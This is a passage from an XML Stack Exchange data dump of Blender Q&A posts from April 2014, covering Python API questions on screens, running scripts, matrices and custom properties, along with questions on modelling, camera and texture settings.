description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the final animation you would want to animate some rotation on the empties to prevent kinks in the hose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can look at my simple example &lt;a href=&quot;http://www.pasteall.org/blend/28293&quot; rel=&quot;nofollow noreferrer&quot;&gt;file here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-09T06:09:25.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8428" PostTypeId="1" CreationDate="2014-04-09T09:07:30.927" Score="6" ViewCount="2832" Body="&lt;p&gt;Found nothing in Python API to set Screen type (other than &lt;code&gt;&quot;Default&quot;&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My need is to set it programmatically, with python script !&lt;/p&gt;&#xA;" OwnerUserId="3074" LastEditorUserId="1363" LastEditDate="2015-07-16T02:44:09.227" LastActivityDate="2015-07-16T02:44:09.227" Title="How to set set Screen type with python" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8429" PostTypeId="2" ParentId="8428" CreationDate="2014-04-09T09:23:08.080" Score="6" Body="&lt;p&gt;&lt;code&gt;bpy.context.screen&lt;/code&gt; is a shorthand, but read-only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set a screen via the Window object, which actually holds the screen reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.window.screen = bpy.data.screens['UV Editing']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.Window.html#bpy.types.Window.screen&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.Window.html#bpy.types.Window.screen&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also an operator to change screen by a number, relative to the currently active screen:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.screen.screen_set(delta=1) # select screen after current from list&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Left&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Right&lt;/kbd&gt; trigger (with a delta of -1 or 1 respectively).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-07-16T02:43:30.013" LastActivityDate="2015-07-16T02:43:30.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8430" PostTypeId="2" ParentId="8428" CreationDate="2014-04-09T09:23:24.537" Score="3" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.context.html#bpy.context.window&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.context.window.screen&lt;/code&gt;&lt;/a&gt; = &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.BlendData.html#bpy.types.BlendData.screens&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.data.screens['screen_name']&lt;/code&gt;&lt;/a&gt;. To see all your screen types, run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for screen in bpy.data.screens:&#xA;    print(screen.name) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-04-09T09:28:34.647" LastActivityDate="2014-04-09T09:28:34.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8431" PostTypeId="1" CreationDate="2014-04-09T09:30:06.373" Score="3" ViewCount="714" Body="&lt;p&gt;I'm using Blender 2.7 and new to the whole thing (Blender is immensely brain intensive) and I have managed to produce I model I like. My next step is to put a shell around it, then slice it in half to make a mould but the boolean stuff I did didn't want to work as expected so I tried some slicing, however the bits I joined have internal geometry that I don't want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully an image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/7506286/heart%20loop.png&quot; alt=&quot;my model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 objects, the loop top left, the dangle bit in the middle and a single outer object that loops round and intersects with itself. The object has been through netfabb and is a complete shell all round. All the meshes were created using an array and end caps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally, I tried creating a cube to wrap the bottom half of the joined heart component mesh and then added a boolean &quot;difference&quot; but it failed, just saying it couldn't do it. I tried it with each individual mesh, well the first one, but it didn't do what I wanted - in object view it looked good, but then the manual said something about adding a subsurf... which when I tried to do just made the cube round and a real mess around what was removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my next thought was to split along the XY axis and make a face with the cube. but when I sliced the object, there was a lot of inner geometry that I couldn't remove properly - especially where the outer loop contacts itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the remesh modifier on the joined object but that fails quite soon and doesn't even get close to the shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried a boolean on the components. I added a difference one to the outer loop and the dangle, this seemed ok, I think I could then delete the internal faces and somehow join the edges of the mesh. I then added another one on the outer and the loop, then blender crashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly an immediate fixer-upper would be to reduce the complexity on the loop top left?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming this works how would I then delete the internals from the looping round on itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me or point me at a tutorial. I will reiterate - I am a brainally challenged noob without the blender cribsheet. So, please can you suggest keystrokes as well :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&#xA;Nigel&lt;/p&gt;&#xA;" OwnerUserId="3075" LastEditorUserId="3075" LastEditDate="2014-04-09T10:01:44.990" LastActivityDate="2014-04-09T10:01:44.990" Title="Make a mould/Remove inner geometry for touching objects (including ones self)" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-10-12T03:17:36.033" ContentLicense="CC BY-SA 3.0" />
  <row Id="8432" PostTypeId="1" CreationDate="2014-04-09T11:46:53.390" Score="2" ViewCount="127" Body="&lt;p&gt;Hi! I'm working on simulating an ocean; after working on it for quite a while, I've come to the realization that my ocean is missing the characteristic ocean foam and spray.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw some vids where there is a fluid that interacts with objects and foam and spray appears; how was this accomplished? (I tried to use dynamic paint but it didn't work, at least not the way I did it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EvilAsuratos&lt;/p&gt;&#xA;" OwnerUserId="2148" LastEditorUserId="2175" LastEditDate="2014-04-09T12:52:46.587" LastActivityDate="2014-04-09T12:52:46.587" Title="How can I create foam and spray in a fluid simulation?" Tags="&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-04-10T23:12:06.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="8433" PostTypeId="1" AcceptedAnswerId="8434" CreationDate="2014-04-09T12:07:58.510" Score="5" ViewCount="1207" Body="&lt;p&gt;I am trying to get global coordinates of a point for an addon I'm creating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an object has no transformations, the coordinates I'm grabbing work, and also if there is either a scale or a translation. Yet, any rotation transformation produces incorrect results:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open Blender, &lt;em&gt;File &gt; Load factory settings&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Numpad 1&lt;/kbd&gt; to go to front ortho view&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;R&lt;/kbd&gt;, &lt;kbd&gt;Z&lt;/kbd&gt;, &lt;kbd&gt;4&lt;/kbd&gt;&lt;kbd&gt;5&lt;/kbd&gt; to rotate the default cube 45 degrees around z axis&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Tab&lt;/kbd&gt; to toggle edit mode and select the upper leftmost vert in this view&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Tab&lt;/kbd&gt;, &lt;kbd&gt;Tab&lt;/kbd&gt; to toggle edit mode off and on again&lt;/li&gt;&#xA;&lt;li&gt;Select scripting layout&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run this code in &lt;em&gt;Python Console&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.context.object&#xA;&#xA;for point in ob.data.vertices:&#xA;    if point.select:&#xA;        print(point.co * ob.matrix_world)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;N&lt;/kbd&gt; in &lt;em&gt;3D View&lt;/em&gt; panel to bring up point coords, switch to &lt;strong&gt;Global&lt;/strong&gt; and compare coords from python console, these are different:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From python console: &lt;code&gt;Vector (0.0000, 1.4142, 1.0000)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;From N panel: X: &lt;code&gt;-1.41421, Y: -0.0000004, Z: 1.00000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, what am I doing wrong? Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class GrabPointFromActive( bpy.types.Operator ):&#xA;    bl_idname = &quot;mct.grabpointfromactive&quot; # Check the blender precedent here for naming&#xA;    bl_label = &quot;Grab From Active Point&quot;&#xA;    bl_description = &quot;Grabs coordinates from selected vertex in edit mode&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        addonData = bpy.context.scene.mct_data&#xA;        prims = bpy.context.scene.mct_data.primList&#xA;        ob = bpy.context.object&#xA;&#xA;        # fix later, only allow execution when a single vert is selected, otherwise warn&#xA;        # fix later, check if this is a mesh first before toggling, we need this so most recent active selection is used&#xA;        bpy.ops.object.editmode_toggle()&#xA;        bpy.ops.object.editmode_toggle()&#xA;        for vert in ob.data.vertices:&#xA;            if vert.select:&#xA;                prims[addonData.activeListItemIndex].point = vert.co * ob.matrix_world&#xA;&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="417" LastEditorUserId="1363" LastEditDate="2014-04-09T22:39:51.727" LastActivityDate="2014-04-09T22:39:51.727" Title="Why does applying an objects matrix to a location fail?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8434" PostTypeId="2" ParentId="8433" CreationDate="2014-04-09T12:24:56.400" Score="7" Body="&lt;p&gt;When applying an objects transformation matrix to a vertex, you need to multiply:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Matrix * Vector&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However your example does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Vector * Matrix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This behavior matches &lt;code&gt;numpy&lt;/code&gt; and other math libraries.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-09T12:24:56.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8435" PostTypeId="1" CreationDate="2014-04-09T15:22:07.370" Score="5" ViewCount="3532" Body="&lt;p&gt;With python API, is it possible to load a (new) python script in the Text Editor and then launch it (to automate things !) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try this but it doesn't work :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.text.open(filepath=&quot;my-script.py&quot;)&#xA;bpy.ops.text.run_script()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Script name added in the text list but not visible in the Editor.&lt;/p&gt;&#xA;" OwnerUserId="3074" LastActivityDate="2020-08-10T16:14:16.647" Title="How to programmatically load a python script in Text Editor and launch it" Tags="&lt;python&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8436" PostTypeId="1" CreationDate="2014-04-09T15:24:25.207" Score="8" ViewCount="9994" Body="&lt;p&gt;I have a stack of 2D images that I would like to render as a 3D object.  Essentially, each image is a slice of a 3D object such that, if stacked along the z-axis, would make a 3D object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to maintain the color of the image while making black transparent, like in the model below.  I have a stack of images that (when stacked) look like that model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7WHgK.png&quot; alt=&quot;This is what I&amp;#39;m looking for from my image stack.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like an actual 3D model.  I couldn't get the voxel texturing to work.  Blender didn't seem to like the fact that there was color.  Below is an example of one of the slices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AxWea.jpg&quot; alt=&quot;Slice example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I've tried/ruled out:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Voxel texturing of an object (I'd like it to be a 3D model, I also couldn't figure out how to color this)&lt;/li&gt;&#xA;&lt;li&gt;Surface modeling (this doesn't preserve internal structure &lt;em&gt;(duh)&lt;/em&gt; but also doesn't preserve color)&lt;/li&gt;&#xA;&lt;li&gt;Import images as planes (this was suggested to me and I couldn't get it to work, although it seemed like this was not the result I'm looking for either)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The help is appreciated.  I'm open to doing any and all scripting; I'm comfortable with Python and image processing but not so much with Blender.&lt;/p&gt;&#xA;" OwnerUserId="3076" LastEditorUserId="1112" LastEditDate="2014-04-14T00:55:14.210" LastActivityDate="2018-07-21T14:04:00.297" Title="Rendering stack of 2D images as a 3D object?" Tags="&lt;modeling&gt;&lt;image&gt;" AnswerCount="3" CommentCount="8" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8437" PostTypeId="1" AcceptedAnswerId="8439" CreationDate="2014-04-09T18:35:16.363" Score="12" ViewCount="20454" Body="&lt;p&gt;As far as things such as Focal Length, Sensor Size, etc., what are the ideal camera settings in blender that most closely approximate the human eye?  Right now, everything in my scene seems like it is way smaller than it should be at the default settings.  I believe this is because the defaults assume a scale of 1BU = 1cm or 1mm, whereas I am using a scale of 1BU = 1 meter.  I am doing so largely because I will be constructing large indoor and outdoor scenes (including an entire city) where working with a scale of 1cm or 1mm would be too unwieldy, and possibly run into internal software limits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I realize that because blender's camera uses monocular imaging instead of binocular imaging (like the human eye) it cannot perfectly match how a human would view the scene.  However, I'm not looking for perfection: I'm looking for a close approximation that is &quot;good enough&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2018-01-25T20:18:01.853" Title="Ideal camera settings to approximate human eye?" Tags="&lt;rendering&gt;&lt;camera&gt;&lt;units&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8439" PostTypeId="2" ParentId="8437" CreationDate="2014-04-09T19:38:12.143" Score="12" Body="&lt;p&gt;The default in Blender assumes 1 Blender unit = 1 meter, so you're actually on the right track there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the question regarding a match on the human eye, that's a tough one. Not just because of the monocular/binocular thing, but also because your retina is curved and most cameras and digital approximations assume a flat sensor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I've done a bit of my own research on this (reading advice from photographers is interesting... not always accurate, but interesting :) recently and landed on the following settings that seem to work reasonably well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Camera Sensor&lt;/strong&gt; - 35mm&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Camera Focal Length&lt;/strong&gt; - 45mm&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Clipping distances, you'll need to adjust to taste.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2014-04-09T19:38:12.143" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8440" PostTypeId="1" CreationDate="2014-04-09T19:43:29.930" Score="5" ViewCount="696" Body="&lt;p&gt;Blender seems to be interlacing my footage in the tracker/video editor, but nowhere else does it look like that, even if I make blender render it through the sequence editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dKxRb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This footage is impossible to track this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?333121-Camera-tracker-interlaces-my-footage&quot; rel=&quot;nofollow noreferrer&quot;&gt;Related post on BA&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3079" LastEditorUserId="599" LastEditDate="2014-04-09T20:10:01.030" LastActivityDate="2016-04-05T15:02:44.807" Title="Interlaced footage in the motion tracker?" Tags="&lt;tracking&gt;&lt;video&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8441" PostTypeId="1" AcceptedAnswerId="9202" CreationDate="2014-04-09T19:47:18.423" Score="2" ViewCount="4985" Body="&lt;p&gt;I know I can go to User Preferences, System, OpenGL, and disable mipmaps, but it doesn't seem to work, because the texture stays blurry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way of doing that?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="14" LastEditDate="2014-05-08T12:50:34.740" LastActivityDate="2014-05-08T12:50:34.740" Title="How to disable mipmaps in blender 2.7?" Tags="&lt;texturing&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="8" ClosedDate="2014-06-03T17:30:04.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="8442" PostTypeId="1" CreationDate="2014-04-09T21:10:34.453" Score="4" ViewCount="777" Body="&lt;p&gt;I'd like the contents of this custom editor panel to persist with the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to get my &lt;code&gt;PropertyGroup&lt;/code&gt; or even a &lt;code&gt;StringProperty&lt;/code&gt; to save with the blend file. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PG_mypg(bpy.types.PropertyGroup):&#xA;    custString = bpy.props.StringProperty(name=&quot;custString&quot;)&#xA;&#xA;bpy.utils.register_class(PG_mypg)&#xA;&#xA;# this adds it but it doesn't persist in the file&#xA;bpy.types.WindowManager.myPanelSettings = bpy.props.PointerProperty(type=PG_mypg)&#xA;&#xA;# even this one doesn't save either&#xA;bpy.types.WindowManager.myCustString = bpy.props.StringProperty(name=&quot;customString&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I want this to be set for my window, not per object.&lt;/p&gt;&#xA;" OwnerUserId="2452" LastEditorUserId="1363" LastEditDate="2014-04-09T22:31:23.577" LastActivityDate="2014-08-28T22:36:20.683" Title="Trouble getting windowmanager properties to save it's contents with blend file" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8443" PostTypeId="2" ParentId="8442" CreationDate="2014-04-09T22:30:16.773" Score="4" Body="&lt;p&gt;Custom properties to the &lt;code&gt;bpy.types.WindowManager&lt;/code&gt; type don't serialize to .blend&lt;br&gt;&#xA;&lt;strike&gt;(as if &lt;code&gt;options={'SKIP_SAVE'}&lt;/code&gt; was set)&lt;/strike&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your options are to use&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.types.Scene&lt;/code&gt;, but you will need to chose one scene instance to store the actual properties, and if that scene is deleted, they will be gone&lt;/li&gt;&#xA;&lt;li&gt;Serialization: serialize your data to a string and make it the text body of a new text datablock. Give the datablock a name that starts with a dot, e.g. &lt;code&gt;.my-data&lt;/code&gt;, to hide it in the interface. It is less likely to be removed like a scene this way.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.AddonPreferences.html&quot; rel=&quot;nofollow&quot;&gt;AddonPreferences&lt;/a&gt; or saving to a custom configuration file - if the data is relevant to not just the current .blend, but the local Blender installation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-08-28T22:36:20.683" LastActivityDate="2014-08-28T22:36:20.683" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8444" PostTypeId="2" ParentId="8435" CreationDate="2014-04-09T22:50:53.310" Score="8" Body="&lt;p&gt;Every Text Editor has its own active (visible) text datablock stored in &lt;code&gt;.text&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To call the &lt;code&gt;text.run_script()&lt;/code&gt; operator, use a context override and give it the right &lt;code&gt;'edit_text'&lt;/code&gt; member.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;text = bpy.data.texts.load(path_to_file)&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'TEXT_EDITOR':&#xA;        area.spaces[0].text = text # make loaded text file visible&#xA;&#xA;        ctx = bpy.context.copy()&#xA;        ctx['edit_text'] = text # specify the text datablock to execute&#xA;        ctx['area'] = area # not actually needed...&#xA;        ctx['region'] = area.regions[-1] # ... just be nice&#xA;&#xA;        bpy.ops.text.run_script(ctx)&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-09T22:50:53.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8445" PostTypeId="1" CreationDate="2014-04-10T00:11:00.017" Score="3" ViewCount="1056" Body="&lt;p&gt;i need to initialize a CollectionProperty with a fixed number of items. This property is &#xA;used to store slot data, kind of like texture slots (There is 18 slots avaibles, but even if they are empty, they exist in the slot collection). Not sure if i am very clear so here is a bit of code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyPanel(bpy.types.Panel):&#xA;    bl_space_type = &quot;PROPERTIES&quot;&#xA;    bl_region_type = &quot;WINDOW&quot;&#xA;    bl_context = &quot;world&quot;&#xA;    bl_label = &quot;my panel&quot;&#xA;    bl_options = {'DEFAULT_CLOSED'}&#xA;&#xA;    def draw_header(self, context):&#xA;        layout = self.layout&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        row = layout.row()&#xA;&#xA;        ob = context.active_object&#xA;&#xA;        # tried to initialize the collection here but i get the error &quot;Writing to ID classes in this context is not allowed&quot;&#xA;        &quot;&quot;&quot;if(len(ob.test.myslots) &amp;lt; 4):&#xA;            for i in range(len(ob.test.myslots), 4):&#xA;                ob.test.myslots.add()&quot;&quot;&quot;&#xA;    # MyUIList inherit from bpy.types.UIList&#xA;        layout.template_list(&quot;MyUIList&quot;, &quot;&quot;, ob.test, &quot;myslots&quot;, ob.test, &quot;myslots_active&quot;, rows=4, maxrows=4)&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.active_object is not None and context.active_object.data is not None and isinstance(context.active_object.data, bpy.types.Mesh))&#xA;&#xA;&#xA;class MySlot(bpy.types.PropertyGroup):&#xA;    slotName = bpy.props.StringProperty()&#xA;&#xA;class MyProperty(bpy.types.PropertyGroup):&#xA;    myslots = bpy.props.CollectionProperty(type=MySlot)&#xA;    myslots_active = bpy.props.IntProperty()&#xA;&#xA;bpy.types.Object.test = bpy.props.PointerProperty(type=MyProperty)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I inititalize this list so...?&lt;/p&gt;&#xA;" OwnerUserId="3081" LastEditorUserId="3081" LastEditDate="2014-04-10T00:21:03.893" LastActivityDate="2014-04-10T00:49:38.440" Title="CollectionProperty initialization" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8446" PostTypeId="2" ParentId="8445" CreationDate="2014-04-10T00:49:38.440" Score="1" Body="&lt;p&gt;You can't, you need to have an explicit operation to initialize the list. (a button for example), or when the script executes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least you can't do while drawing.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-10T00:49:38.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8447" PostTypeId="2" ParentId="8407" CreationDate="2014-04-10T02:21:14.387" Score="8" Body="&lt;p&gt;As far as I know, there is no way to strip this information from a &lt;code&gt;.blend&lt;/code&gt; file without editing the file itself as you have done and that has its own set of cons.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Option 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Work at the root directory of your system. ie. &lt;code&gt;C:/personal_folder/&lt;/code&gt; or on a portable medium. You say you don't have any images or such attached so this shouldn't log anything private such as your username or any other personal paths provided you don't import anything and all you have is a model.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Option 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Export to another format and reimport back into Blender. Exporting to a simple format such as &lt;code&gt;.obj&lt;/code&gt; will only export mesh data (if all you have is a mesh) and same goes for importing it back. I did this with a file saved on my desktop and the only instance I could find with personal info was the location to the file. Use this with method 1 for optimal results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it addresses your other privacy concerns, being identified as to what OS you're on is fairly useless information and if you're sharing a file here, you might even be asked what os you are running so provided that no personal paths are included you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="3083" LastActivityDate="2014-04-10T02:21:14.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8448" PostTypeId="5" CreationDate="2014-04-10T02:30:32.957" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-10T02:30:32.957" LastActivityDate="2014-04-10T02:30:32.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8449" PostTypeId="4" CreationDate="2014-04-10T02:30:32.957" Score="0" Body="The Outliner is an editor in Blender that gives you a 2D representation of all the data in the file as a list of hierarchies." OwnerUserId="3083" LastEditorUserId="32220" LastEditDate="2018-10-12T23:25:04.823" LastActivityDate="2018-10-12T23:25:04.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8450" PostTypeId="1" AcceptedAnswerId="8451" CreationDate="2014-04-10T04:26:31.723" Score="3" ViewCount="489" Body="&lt;p&gt;One issue I'm having is specifically with the bpy.ops.object.hook_assign() method on a currently selected vertex. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mod_name = &quot;Hook&quot; + str(vertex_idx)&#xA;obj.modifiers.new(mod_name, type='HOOK')&#xA;obj.modifiers[mod_name].object = other_obj&#xA;&#xA;bpy.ops.object.hook_assign(modifier=mod_name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to tell blender which modifier in the stack to apply the operation to, but get the following message when I do it from the python console:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;TypeError: Converting py args to operator properties:  enum &quot;Hook0&quot; not found in ()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had any experience with using hook_assign() at all?  Sadly this functionality of hooking an object to another object's vertex is exactly what I need, and it isn't supported directly in the &lt;code&gt;HookModifier&lt;/code&gt; object API.&lt;/p&gt;&#xA;" OwnerUserId="3085" LastActivityDate="2014-04-10T04:54:19.033" Title="How to use bpy ops that take a modifier Enum as an argument?" Tags="&lt;python&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
